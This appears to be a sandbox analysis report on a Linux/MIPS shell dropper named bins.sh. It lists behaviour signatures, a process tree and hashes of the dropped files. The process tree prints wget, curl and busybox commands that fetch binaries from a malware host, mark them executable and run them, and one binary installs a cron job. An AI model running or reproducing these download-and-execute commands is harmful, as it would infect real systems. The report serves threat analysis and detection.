Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/11/2024, 03:46

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-ebmdfszckc
  • SHA256 210d66f77c4e243878c82f92f9be81589daf59869f8b3754d8134a71652e8ec9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1732) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 34 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          ./HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            ./EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            2⤵
            • Executes dropped EXE
            PID:750
          • /bin/rm
            rm EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
            2⤵
              PID:752
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:770
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              ./UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              2⤵
              • Executes dropped EXE
              PID:786
            • /bin/rm
              rm UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
              2⤵
                PID:789
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:790
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:801
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                ./2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm 2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                2⤵
                  PID:813
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:829
                • /bin/chmod
                  chmod 777 urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  2⤵
                  • File and Directory Permissions Modification
                  PID:833
                • /tmp/urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  ./urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  2⤵
                  • Executes dropped EXE
                  PID:834
                • /bin/rm
                  rm urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                  2⤵
                    PID:837
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:839
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:855
                  • /bin/chmod
                    chmod 777 A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    2⤵
                    • File and Directory Permissions Modification
                    PID:856
                  • /tmp/A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    ./A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    2⤵
                    • Executes dropped EXE
                    PID:857
                  • /bin/rm
                    rm A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                    2⤵
                      PID:859
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:860
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:866
                    • /bin/chmod
                      chmod 777 I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      2⤵
                      • File and Directory Permissions Modification
                      PID:867
                    • /tmp/I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      ./I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      2⤵
                      • Executes dropped EXE
                      PID:868
                    • /bin/rm
                      rm I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                      2⤵
                        PID:870
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:871
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:872
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:874
                      • /bin/chmod
                        chmod 777 DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        2⤵
                        • File and Directory Permissions Modification
                        PID:875
                      • /tmp/DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        ./DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        2⤵
                        • Executes dropped EXE
                        PID:876
                      • /bin/rm
                        rm DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                        2⤵
                          PID:878
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:879
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:880
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:882
                        • /bin/chmod
                          chmod 777 NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                          2⤵
                          • File and Directory Permissions Modification
                          PID:883
                        • /tmp/NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                          ./NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:884
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:886
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:887
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:888
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:889
                            • /bin/rm
                              rm NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                              2⤵
                                PID:891
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                2⤵
                                • System Network Configuration Discovery
                                PID:894
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                2⤵
                                • System Network Configuration Discovery
                                PID:975
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:976
                              • /bin/chmod
                                chmod 777 FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                2⤵
                                • File and Directory Permissions Modification
                                PID:981
                              • /tmp/FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                ./FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                2⤵
                                • Executes dropped EXE
                                PID:982
                              • /bin/rm
                                rm FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                2⤵
                                  PID:984
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:985
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:986
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:987
                                • /bin/chmod
                                  chmod 777 c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:988
                                • /tmp/c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  ./c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  2⤵
                                  • Executes dropped EXE
                                  PID:989
                                • /bin/rm
                                  rm c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                  2⤵
                                    PID:991
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/GD5RSyw9Z75bFWBmJLFhaRx2DAqezYQLvR
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:992

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG

                                      • Path /tmp/2GXgnuwE7XjKlmuJvBTlk8tmZ6HgN3yfCG
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C

                                      • Path /tmp/A0Z9z4w3pr7lHxNtOq0DZTuG9d5iNFoa1C
                                      • Size 117KB
                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                      • MD5 SHA1 SHA512 SSDEEP

                                      DZptpa0GYIQdgIRWycrExu9wybkSSjlClq

                                      • Path /tmp/DZptpa0GYIQdgIRWycrExu9wybkSSjlClq
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx

                                      • Path /tmp/EpmNRUgsGmD2gikSj9pSE2172lzpA9VPlx
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP

                                      FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu

                                      • Path /tmp/FHCyLVMVYVb40PmGr7srcPQZUPCgpdjVwu
                                      • Size 111KB
                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                      • MD5 SHA1 SHA512 SSDEEP

                                      HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG

                                      • Path /tmp/HIIvUaA6Z4crQuxhfkZhvWnvVKDba37GbG
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP

                                      I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg

                                      • Path /tmp/I7WzLNRWPOWL4uF9AKUhvQtpgrcfISdKKg
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9

                                      • Path /tmp/NuuH4egbHoN0EblePq1zxM0hXJDv7dCuX9
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm

                                      • Path /tmp/UUpo7J8vDmfpqIHbnuWLH4Q4uozoqyGZkm
                                      • Size 141KB
                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                      • MD5 SHA1 SHA512 SSDEEP

                                      c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr

                                      • Path /tmp/c43WxGhmIc1hpS87hEDiJPZl6ub2mgspRr
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP

                                      urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia

                                      • Path /tmp/urvi9pQkJFO7gVaPETC21qnb4Cyu7jCPia
                                      • Size 107KB
                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.sczZpN

                                      • Path /var/spool/cron/crontabs/tmp.sczZpN
                                      • Size 210B
                                      • SHA256 87931941ef5b83b09cd36815a67c49e56d6d9317cbb1d65ae5aa9a96694c130d
                                      • MD5 SHA1 SHA512